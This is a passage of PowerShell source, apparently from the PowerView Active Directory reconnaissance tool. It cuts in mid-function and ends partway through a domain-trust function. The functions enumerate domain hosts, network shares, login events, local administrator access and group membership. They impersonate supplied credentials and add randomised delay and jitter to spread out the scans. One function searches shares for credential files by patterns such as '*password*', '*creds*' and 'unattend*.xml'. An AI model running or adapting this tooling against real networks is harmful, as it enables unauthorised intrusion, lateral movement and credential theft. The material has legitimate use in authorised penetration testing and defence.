if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $
($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}

$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers,
$Filter, $Credential)

ForEach ($TargetComputer in $ComputerName) {


$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] =
$StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] =
$MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] =
$Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object
{$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -
eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -
eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and
($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-
Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {

ForEach ($Key in $Keys) {


if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-DomainUserEvent] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter,
$Credential
$Result

if ($Result -and $StopOnSuccess) {


Write-Verbose "[Find-DomainUserEvent] Target user found,
returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads:
$Threads"

$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}

function Find-DomainShare {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,

[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {

$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained'])
{ $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}

$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)

if ($TokenHandle) {

$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet


}

ForEach ($TargetComputer in $ComputerName) {


$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {

$Shares = Get-NetShare -ComputerName $TargetComputer


ForEach ($Share in $Shares) {
$ShareName = $Share.Name

$Path = '\\'+$TargetComputer+'\'+$ShareName

if (($ShareName) -and ($ShareName.trim() -ne '')) {

if ($CheckShareAccess) {

try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path
: $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}

$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or
$PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -
Quiet
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-DomainShare] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-DomainShare] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $CheckShareAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads:
$Threads"

$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Find-InterestingDomainShareFile {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,

[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*',
'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),

[ValidateNotNullOrEmpty()]
[ValidatePattern('\\\\')]
[Alias('Share')]
[String[]]
$SharePath,
[String[]]
$ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,

[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,

[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in
the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
}

$HostEnumBlock = {
Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs,
$ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)

if ($TokenHandle) {

$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet


}
ForEach ($TargetComputer in $ComputerName) {

$SearchShares = @()
if ($TargetComputer.StartsWith('\\')) {

$SearchShares += $TargetComputer
}
else {
$Up = Test-Connection -Count 1 -Quiet -ComputerName
$TargetComputer
if ($Up) {

$Shares = Get-NetShare -ComputerName $TargetComputer


ForEach ($Share in $Shares) {
$ShareName = $Share.Name
$Path = '\\'+$TargetComputer+'\'+$ShareName

if (($ShareName) -and ($ShareName.Trim() -ne '')) {

if ($ExcludedShares -NotContains $ShareName) {

try {
$Null = [IO.Directory]::GetFiles($Path)
$SearchShares += $Path
}
catch {
Write-Verbose "[!] No access to $Path"
}
}
}
}
}
}

ForEach ($Share in $SearchShares) {


Write-Verbose "Searching share: $Share"
$SearchArgs = @{
'Path' = $Share
'Include' = $Include
}
if ($OfficeDocs) {
$SearchArgs['OfficeDocs'] = $OfficeDocs
}
if ($FreshEXEs) {
$SearchArgs['FreshEXEs'] = $FreshEXEs
}
if ($LastAccessTime) {
$SearchArgs['LastAccessTime'] = $LastAccessTime
}
if ($LastWriteTime) {
$SearchArgs['LastWriteTime'] = $LastWriteTime
}
if ($CreationTime) {
$SearchArgs['CreationTime'] = $CreationTime
}
if ($CheckWriteAccess) {
$SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
}
Find-InterestingFile @SearchArgs
}
}

if ($TokenHandle) {
Invoke-RevertToSelf
}
}

$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or
$PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -
Quiet
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts:


$($TargetComputers.count)"
Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter:
$Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden,
$FreshEXEs, $CheckWriteAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-InterestingDomainShareFile] Using threading with
threads: $Threads"

$ScriptParams = @{
'Include' = $Include
'ExcludedShares' = $ExcludedShares
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
'FreshEXEs' = $FreshEXEs
'CheckWriteAccess' = $CheckWriteAccess
'TokenHandle' = $LogonToken
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Find-LocalAdminAccess {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,

[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Switch]
$CheckShareAccess,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained'])
{ $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-LocalAdminAccess] Querying computers in the
domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-LocalAdminAccess] No hosts found to enumerate'
}

$HostEnumBlock = {
Param($ComputerName, $TokenHandle)

if ($TokenHandle) {

$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet


}

ForEach ($TargetComputer in $ComputerName) {


$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {

$Access = Test-AdminAccess -ComputerName $TargetComputer


if ($Access.IsAdmin) {
$TargetComputer
}
}
}

if ($TokenHandle) {
Invoke-RevertToSelf
}
}

$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or
$PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -
Quiet
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-LocalAdminAccess] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $LogonToken
}
}
else {
Write-Verbose "[Find-LocalAdminAccess] Using threading with threads:
$Threads"

$ScriptParams = @{
'TokenHandle' = $LogonToken
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}

function Find-DomainLocalGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroupMember.API')]
[OutputType('PowerView.LocalGroupMember.WinNT')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,

[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName = 'Administrators',

[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained'])
{ $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the
domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
}

$HostEnumBlock = {
Param($ComputerName, $GroupName, $Method, $TokenHandle)

if ($GroupName -eq "Administrators") {


$AdminSecurityIdentifier = New-Object
System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSi
dType]::BuiltinAdministratorsSid,$null)
$GroupName =
($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -
split "\\")[-1]
}

if ($TokenHandle) {

$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet


}

ForEach ($TargetComputer in $ComputerName) {


$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$NetLocalGroupMemberArguments = @{
'ComputerName' = $TargetComputer
'Method' = $Method
'GroupName' = $GroupName
}
Get-NetLocalGroupMember @NetLocalGroupMemberArguments
}
}

if ($TokenHandle) {
Invoke-RevertToSelf
}
}

$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or
$PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -
Quiet
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter:
$Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $GroupName, $Method, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainLocalGroupMember] Using threading with
threads: $Threads"

$ScriptParams = @{
'GroupName' = $GroupName
'Method' = $Method
'TokenHandle' = $LogonToken
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-DomainTrust {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,

[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',

[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$TrustAttributes = @{
[uint32]'0x00000001' = 'NON_TRANSITIVE'
[uint32]'0x00000002' = 'UPLEVEL_ONLY'
[uint32]'0x00000004' = 'FILTER_SIDS'
[uint32]'0x00000008' = 'FOREST_TRANSITIVE'
[uint32]'0x00000010' = 'CROSS_ORGANIZATION'
[uint32]'0x00000020' = 'WITHIN_FOREST'
[uint32]'0x00000040' = 'TREAT_AS_EXTERNAL'
[uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION'
